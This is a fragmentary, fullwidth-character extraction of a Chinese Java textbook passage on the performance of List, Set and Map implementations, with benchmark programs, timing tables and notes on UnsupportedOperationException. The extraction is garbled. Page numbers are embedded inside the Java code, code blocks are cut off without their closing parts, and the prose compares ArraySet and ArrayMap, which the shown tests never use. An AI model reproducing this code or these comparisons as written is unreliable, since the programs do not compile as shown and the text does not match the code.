    {"text": "／／： ＬｉｓｔＰｅｒｆｏｒｍａｎｃｅ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｐｅｒｆｏｒｍａｎｃｅ ｄｉｆｆｅｒｅｎｃｅｓ ｉｎ Ｌｉｓｔｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｓｔＰｅｒｆｏｒｍａｎｃｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＲＥＰＳ ＝ １００； ｐｒｉｖａｔｅ ａｂｓｔｒａｃｔ ｓｔａｔｉｃ ｃｌａｓｓ Ｔｅｓｔｅｒ ｛ Ｓｔｒｉｎｇ ｎａｍｅ； ｉｎｔ ｓｉｚｅ； ／／ Ｔｅｓｔ ｑｕａｎｔｉｔｙ Ｔｅｓｔｅｒ（Ｓｔｒｉｎｇ ｎａｍｅ， ｉｎｔ ｓｉｚｅ） ｛ ｔｈｉｓ．ｎａｍｅ ＝ ｎａｍｅ； ｔｈｉｓ．ｓｉｚｅ ＝ ｓｉｚｅ； ｝ ａｂｓｔｒａｃｔ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ）； ｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｔｅｓｔｅｒ［］ ｔｅｓｔｓ ＝ ｛ ｎｅｗ Ｔｅｓｔｅｒ（＂ｇｅｔ＂， ３００） ｛ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｛ ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ．ｓｉｚｅ（）； ｊ＋＋） ａ．ｇｅｔ（ｊ）； ｝ ｝ ｝， ２４７ ｎｅｗ Ｔｅｓｔｅｒ（＂ｉｔｅｒａｔｉｏｎ＂， ３００） ｛ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｛ Ｉｔｅｒａｔｏｒ ｉｔ ＝ ａ．ｉｔｅｒａｔｏｒ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） ｉｔ．ｎｅｘｔ（）； ｝ ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｉｎｓｅｒｔ＂， １０００） ｛ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ） ｛ ｉｎｔ ｈａｌｆ ＝ ａ．ｓｉｚｅ（）／２； Ｓｔｒｉｎｇ ｓ ＝ ＂ｔｅｓｔ＂； ＬｉｓｔＩｔｅｒａｔｏｒ ｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（ｈａｌｆ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｉｚｅ ＊ １０； ｉ＋＋） ｉｔ．ａｄｄ（ｓ）； ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｒｅｍｏｖｅ＂， ５０００） ｛ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ） ｛ ＬｉｓｔＩｔｅｒａｔｏｒ ｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（３）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） ｛ ｉｔ．ｎｅｘｔ（）； ｉｔ．ｒｅｍｏｖｅ（）； ｝ ｝ ｝， ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔ（Ｌｉｓｔ ａ） ｛ ／／ Ａ ｔｒｉｃｋ ｔｏ ｐｒｉｎｔ ｏｕｔ ｔｈｅ ｃｌａｓｓ ｎａｍｅ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ＂ ＋ ａ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｅｓｔｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ， ｔｅｓｔｓ［ｉ］．ｓｉｚｅ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｔｅｓｔｓ［ｉ］．ｎａｍｅ）； ｌｏｎｇ ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｔｅｓｔｓ［ｉ］．ｔｅｓｔ（ａ）； ｌｏｎｇ ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （ｔ２ － ｔ１））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｅｓｔ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（））； ｔｅｓｔ（ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（））；"},
    {"text": "它包含了一个要在测试开始时打印的字 串、一个用于计算测试次数或元素数量的 ｓｉｚｅ 参数、用于初始化字段的一个构建器以及一个抽象方法 ｔｅｓｔ（）。"},
    {"text": "下面是某一次运行得到的结果： Ｔｙｐｅ Ｇｅｔ Ｉｔｅｒａｔｉｏｎ Ｉｎｓｅｒｔ Ｒｅｍｏｖｅ Ａ ｒ ｒ ａ ｙ Ｌ ｉ ｓ ｔ １１０ ４９０ ３７９０ ８７３０ ＬｉｎｋｅｄＬｉｓｔ １９８０ ２２０ １１０ １１０ 可以看出，在 ＡｒｒａｙＬｉｓｔ 中进行随机访问（即 ｇｅｔ（））以及循环反复是最划得来的；"},
    {"text": "２． 决定使用何种 Ｓｅｔ 可在 ＡｒｒａｙＳｅｔ 以及 ＨａｓｈＳｅｔ 间作出选择，具体取决于 Ｓｅｔ 的大小（如果需要从一个 Ｓｅｔ 中获得一个顺序列 表，请用 ＴｒｅｅＳｅｔ；"},
    {"text": "下面这个测试程序将有助于大家作出这方面的抉择： ／／： ＳｅｔＰｅｒｆｏｒｍａｎｃｅ．ｊａｖａ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｅｔＰｅｒｆｏｒｍａｎｃｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＲＥＰＳ ＝ ２００； ｐｒｉｖａｔｅ ａｂｓｔｒａｃｔ ｓｔａｔｉｃ ｃｌａｓｓ Ｔｅｓｔｅｒ ｛ Ｓｔｒｉｎｇ ｎａｍｅ； Ｔｅｓｔｅｒ（Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ｔｈｉｓ．ｎａｍｅ ＝ ｎａｍｅ； ｝ ａｂｓｔｒａｃｔ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ｓ， ｉｎｔ ｓｉｚｅ）； ｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｔｅｓｔｅｒ［］ ｔｅｓｔｓ ＝ ｛ ｎｅｗ Ｔｅｓｔｅｒ（＂ａｄｄ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ｓ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｛ ｓ．ｃｌｅａｒ（）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ｓ， ｓｉｚｅ）； ｝ ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｃｏｎｔａｉｎｓ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ｓ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｓｉｚｅ； ｊ＋＋） ｓ．ｃｏｎｔａｉｎｓ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｊ））； ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｉｔｅｒａｔｉｏｎ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ｓ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ ＊ １０； ｉ＋＋） ｛ Ｉｔｅｒａｔｏｒ ｉｔ ＝ ｓ．ｉｔｅｒａｔｏｒ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） ｉｔ．ｎｅｘｔ（）； ｝ ２４９ ｝ ｝， ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ｓ， ｉｎｔ ｓｉｚｅ） ｛ ／／ Ａ ｔｒｉｃｋ ｔｏ ｐｒｉｎｔ ｏｕｔ ｔｈｅ ｃｌａｓｓ ｎａｍｅ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ＂ ＋ ｓ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ ｓｉｚｅ ＂ ＋ ｓｉｚｅ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ｓ， ｓｉｚｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｅｓｔｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｔｅｓｔｓ［ｉ］．ｎａｍｅ）； ｌｏｎｇ ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｔｅｓｔｓ［ｉ］．ｔｅｓｔ（ｓ， ｓｉｚｅ）； ｌｏｎｇ ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （（ｄｏｕｂｌｅ）（ｔ２ － ｔ１）／（ｄｏｕｂｌｅ）ｓｉｚｅ））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｓｍａｌｌ： ｔｅｓｔ（ｎｅｗ ＴｒｅｅＳｅｔ（）， １０）； ｔｅｓｔ（ｎｅｗ ＨａｓｈＳｅｔ（）， １０）； ／／ Ｍｅｄｉｕｍ： ｔｅｓｔ（ｎｅｗ ＴｒｅｅＳｅｔ（）， １００）； ｔｅｓｔ（ｎｅｗ ＨａｓｈＳｅｔ（）， １００）； ／／ Ｌａｒｇｅ： ｔｅｓｔ（ｎｅｗ ＨａｓｈＳｅｔ（）， １０００）； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＳｅｔ（）， １０００）；"},
    {"text": "类型 测试大小 添加 包含 反复 Ｔｙｐｅ Ｔｅｓｔ ｓｉｚｅ Ａｄｄ Ｃｏｎｔａｉｎｓ Ｉｔｅｒａｔｉｏｎ １０ ２２．０ １１．０ １６．０ ＴｒｅｅＳｅｔ １００ ２２．５ １３．２ １２．１ １０００ ３１．１ １８．７ １１．８ １０ ５．０ ６．０ ２７．０ ＨａｓｈＳｅｔ １００ ６．６ ６．６ １０．９ １０００ ７．４ ６．６ ９．５ 进行 ａｄｄ（）以及 ｃｏｎｔａｉｎｓ（）操作时，ＨａｓｈＳｅｔ 显然要比 ＡｒｒａｙＳｅｔ 出色得多，而且性能明显与元素的多寡关系 不大。"},
    {"text": "３． 决定使用何种 Ｍａｐ ２５０ 选择不同的 Ｍａｐ 实施方案时，注意 Ｍａｐ 的大小对于性能的影响是最大的，下面这个测试程序清楚地阐示了这 一点： ／／： ＭａｐＰｅｒｆｏｒｍａｎｃｅ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｐｅｒｆｏｒｍａｎｃｅ ｄｉｆｆｅｒｅｎｃｅｓ ｉｎ Ｍａｐｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＭａｐＰｅｒｆｏｒｍａｎｃｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＲＥＰＳ ＝ ２００； ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｍａｐ ｆｉｌｌ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｉｚｅ； ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｘ ＝ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｍ．ｐｕｔ（ｘ， ｘ）； ｝ ｒｅｔｕｒｎ ｍ； ｝ ｐｒｉｖａｔｅ ａｂｓｔｒａｃｔ ｓｔａｔｉｃ ｃｌａｓｓ Ｔｅｓｔｅｒ ｛ Ｓｔｒｉｎｇ ｎａｍｅ； Ｔｅｓｔｅｒ（Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ｔｈｉｓ．ｎａｍｅ ＝ ｎａｍｅ； ｝ ａｂｓｔｒａｃｔ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ）； ｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｔｅｓｔｅｒ［］ ｔｅｓｔｓ ＝ ｛ ｎｅｗ Ｔｅｓｔｅｒ（＂ｐｕｔ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｛ ｍ．ｃｌｅａｒ（）； ｆｉｌｌ（ｍ， ｓｉｚｅ）； ｝ ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｇｅｔ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｓｉｚｅ； ｊ＋＋） ｍ．ｇｅｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｊ））； ｝ ｝， ｎｅｗ Ｔｅｓｔｅｒ（＂ｉｔｅｒａｔｉｏｎ＂） ｛ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ ＊ １０； ｉ＋＋） ｛ Ｉｔｅｒａｔｏｒ ｉｔ ＝ ｍ．ｅｎｔｒｉｅｓ（）．ｉｔｅｒａｔｏｒ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） ｉｔ．ｎｅｘｔ（）；"},
    {"text": "ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ， ｉｎｔ ｓｉｚｅ） ｛ ／／ Ａ ｔｒｉｃｋ ｔｏ ｐｒｉｎｔ ｏｕｔ ｔｈｅ ｃｌａｓｓ ｎａｍｅ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ＂ ＋ ｍ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ ｓｉｚｅ ＂ ＋ ｓｉｚｅ）；"},
    {"text": "２５１ ｆｉｌｌ（ｍ， ｓｉｚｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔｅｓｔｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｔｅｓｔｓ［ｉ］．ｎａｍｅ）； ｌｏｎｇ ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｔｅｓｔｓ［ｉ］．ｔｅｓｔ（ｍ， ｓｉｚｅ）； ｌｏｎｇ ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （（ｄｏｕｂｌｅ）（ｔ２ － ｔ１）／（ｄｏｕｂｌｅ）ｓｉｚｅ））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｓｍａｌｌ： ｔｅｓｔ（ｎｅｗ Ｈａｓｈｔａｂｌｅ（）， １０）； ｔｅｓｔ（ｎｅｗ ＨａｓｈＭａｐ（）， １０）； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＭａｐ（）， １０）； ／／ Ｍｅｄｉｕｍ： ｔｅｓｔ（ｎｅｗ Ｈａｓｈｔａｂｌｅ（）， １００）； ｔｅｓｔ（ｎｅｗ ＨａｓｈＭａｐ（）， １００）； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＭａｐ（）， １００）； ／／ Ｌａｒｇｅ： ｔｅｓｔ（ｎｅｗ ＨａｓｈＭａｐ（）， １０００）； ｔｅｓｔ（ｎｅｗ Ｈａｓｈｔａｂｌｅ（）， １０００）； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＭａｐ（）， １０００）；"},
    {"text": "｝ ｝ ／／／：￣ 由于 Ｍａｐ 的大小是最严重的问题，所以程序的计时测试按 Ｍａｐ 的大小（或容量）来分割时间，以便得到令人 信服的测试结果。"},
    {"text": "下面列出一系列结果（在你的机器上可能不同）： 类型 测试大小 置入 取出 反复 Ｔ ｙ ｐ ｅ Ｔ ｅ ｓ ｔ Ｐ ｕ ｔ Ｇ ｅ ｔ Ｉｔｅｒａｔｉｏｎ ｓ ｉ ｚ ｅ １０ １１．０ ５．０ ４４．０ Ｈａｓｈｔａｂｌｅ １００ ７．７ ７．７ １６．５ １０００ ８．０ ８．０ １４．４ １０ １６．０ １１．０ ２２．０ Ｔ ｒ ｅ ｅ Ｍ ａ ｐ １００ ２５．８ １５．４ １３．２ １０００ ３３．８ ２０．９ １３．６ １０ １１．０ ６．０ ３３．０ Ｈ ａ ｓ ｈ Ｍ ａ ｐ １００ ８．２ ７．７ １３．７ １０００ ８．０ ７．８ １１．９ 即使大小为 １０，ＡｒｒａｙＭａｐ 的性能也要比 ＨａｓｈＭａｐ 差——除反复循环时以外。"},
    {"text": "下述程序用于测试不同类型 Ｍａｐ 的创建速度： ／／： ＭａｐＣｒｅａｔｉｏｎ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｉｍｅ ｄｉｆｆｅｒｅｎｃｅｓ ｉｎ Ｍａｐ ｃｒｅａｔｉｏｎ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＭａｐＣｒｅａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｉｎａｌ ｌｏｎｇ ＲＥＰＳ ＝ １０００００； ｌｏｎｇ ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂Ｈａｓｈｔａｂｌｅ＂）； ｆｏｒ（ｌｏｎｇ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｌｏｎｇ ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （ｔ２ － ｔ１））； ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂ＴｒｅｅＭａｐ＂）； ｆｏｒ（ｌｏｎｇ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｎｅｗ ＴｒｅｅＭａｐ（）； ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （ｔ２ － ｔ１））； ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂ＨａｓｈＭａｐ＂）； ｆｏｒ（ｌｏｎｇ ｉ ＝ ０； ｉ ＜ ＲＥＰＳ； ｉ＋＋） ｎｅｗ ＨａｓｈＭａｐ（）； ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂： ＂ ＋ （ｔ２ － ｔ１））；"},
    {"text": "｝ ｝ ／／／：￣ 在写这个程序期间，ＴｒｅｅＭａｐ 的创建速度比其他两种类型明显快得多（但你应亲自尝试一下，因为据说新版 本可能会改善 ＡｒｒａｙＭａｐ 的性能）。 考虑到这方面的原因，同时由于前述 ＴｒｅｅＭａｐ 出色的 ｐｕｔ（）性能，所以如 果需要创建大量 Ｍａｐ，而且只有在以后才需要涉及大量检索操作，那么最佳的策略就是：创建和填充 ＴｒｅｅＭａｐ； 以后检索量增大的时候，再将重要的 ＴｒｅｅＭａｐ 转换成 ＨａｓｈＭａｐ——使用 ＨａｓｈＭａｐ（Ｍａｐ）构建器。"},
    {"text": "８ ． ７ ． ６ 未支持的操作 利用 ｓｔａｔｉｃ（静态）数组 Ａｒｒａｙｓ．ｔｏＬｉｓｔ（），也许能将一个数组转换成 Ｌｉｓｔ，如下所示： ／／： Ｕｎｓｕｐｐｏｒｔｅｄ．ｊａｖａ ／／ Ｓｏｍｅｔｉｍｅｓ ｍｅｔｈｏｄｓ ｄｅｆｉｎｅｄ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ ／／ ｉｎｔｅｒｆａｃｅｓ ｄｏｎ＇ｔ ｗｏｒｋ！"},
    {"text": "ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｕｎｓｕｐｐｏｒｔｅｄ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｓ ＝ ｛ ２５３ ＂ｏｎｅ＂， ＂ｔｗｏ＂， ＂ｔｈｒｅｅ＂， ＂ｆｏｕｒ＂， ＂ｆｉｖｅ＂， ＂ｓｉｘ＂， ＂ｓｅｖｅｎ＂， ＂ｅｉｇｈｔ＂， ＂ｎｉｎｅ＂， ＂ｔｅｎ＂， ｝； ｓｔａｔｉｃ Ｌｉｓｔ ａ ＝ Ａｒｒａｙｓ．ｔｏＬｉｓｔ（ｓ）； ｓｔａｔｉｃ Ｌｉｓｔ ａ２ ＝ Ａｒｒａｙｓ．ｔｏＬｉｓｔ（ ｎｅｗ Ｓｔｒｉｎｇ［］ ｛ ｓ［３］， ｓ［４］， ｓ［５］ ｝）； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； ／／ Ｉｔｅｒａｔｉｏｎ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ａ．ｃｏｎｔａｉｎｓ（＂ ＋ ｓ［０］ ＋ ＂） ＝ ＂ ＋ ａ．ｃｏｎｔａｉｎｓ（ｓ［０］））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ａ．ｃｏｎｔａｉｎｓＡｌｌ（ａ２） ＝ ＂ ＋ ａ．ｃｏｎｔａｉｎｓＡｌｌ（ａ２））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ．ｉｓＥｍｐｔｙ（） ＝ ＂ ＋ ａ．ｉｓＥｍｐｔｙ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ａ．ｉｎｄｅｘＯｆ（＂ ＋ ｓ［５］ ＋ ＂） ＝ ＂ ＋ ａ．ｉｎｄｅｘＯｆ（ｓ［５］））； ／／ Ｔｒａｖｅｒｓｅ ｂａｃｋｗａｒｄｓ： ＬｉｓｔＩｔｅｒａｔｏｒ ｌｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（ａ．ｓｉｚｅ（））； ｗｈｉｌｅ（ｌｉｔ．ｈａｓＰｒｅｖｉｏｕｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｌｉｔ．ｐｒｅｖｉｏｕｓ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ／／ Ｓｅｔ ｔｈｅ ｅｌｅｍｅｎｔｓ ｔｏ ｄｉｆｆｅｒｅｎｔ ｖａｌｕｅｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｓｉｚｅ（）； ｉ＋＋） ａ．ｓｅｔ（ｉ， ＂４７＂）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； ／／ Ｃｏｍｐｉｌｅｓ， ｂｕｔ ｗｏｎ＇ｔ ｒｕｎ： ｌｉｔ．ａｄｄ（＂Ｘ＂）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ｏｐｅｒａｔｉｏｎ ａ．ｃｌｅａｒ（）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ａ．ａｄｄ（＂ｅｌｅｖｅｎ＂）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ａ．ａｄｄＡｌｌ（ａ２）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ａ．ｒｅｔａｉｎＡｌｌ（ａ２）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ａ．ｒｅｍｏｖｅ（ｓ［０］）； ／／ Ｕｎｓｕｐｐｏｒｔｅｄ ａ．ｒｅｍｏｖｅＡｌｌ（ａ２）；"},
    {"text": "若调用一个未获支持的方 法，就会导致一个 ＵｎｓｕｐｐｏｒｔｅｄＯｐｅｒａｔｉｏｎＥｘｃｅｐｔｉｏｎ（操作未支持违例），这表明出现了一个编程错误。"},
    {"text": "通过 Ｃｏｌｌｅｃｔｉｏｎ，Ｌｉｓｔ，Ｓｅｔ 或者 Ｍａｐ，编译器仍然限制我们只能调用那个接口中的方法，所以它和 Ｓｍａｌｌｔａｌｋ 还 是存在一些区别的（在 Ｓｍａｌｌｔａｌｋ 中，可为任何对象调用任何方法，而且只有在运行程序时才知道这些调用 是否可行）。"},
    {"text": "除此以外，以 Ｃｏｌｌｅｃｔｉｏｎ 作为自变量的大多数方法只能从那个集合中读取数据——Ｃｏｌｌｅｃｔｉｏｎ 的所有“ｒｅａｄ”方法都不是可选的。"},
    {"text": "而在集合库的其他设计方案中，最终经常都会得到数 ２５４ 量过多的接口，用它们描述基本方案的每一种变化形式，所以学习和掌握显得非常困难。"},
    {"text": "但是，为了使这一方法真正有效，却需满足下述条件： （１） ＵｎｓｕｐｐｏｒｔｅｄＯｐｅｒａｔｉｏｎＥｘｃｅｐｔｉｏｎ 必须属于一种“非常”事件。"},
    {"text": "新集合库满足了这一条件，因为 绝大多数时候用到的类——ＡｒｒａｙＬｉｓｔ，ＬｉｎｋｅｄＬｉｓｔ，ＨａｓｈＬｉｓｔ 和 ＨａｓｈＭａｐ，以及其他集合方案——都提供了 对所有操作的支持。"},
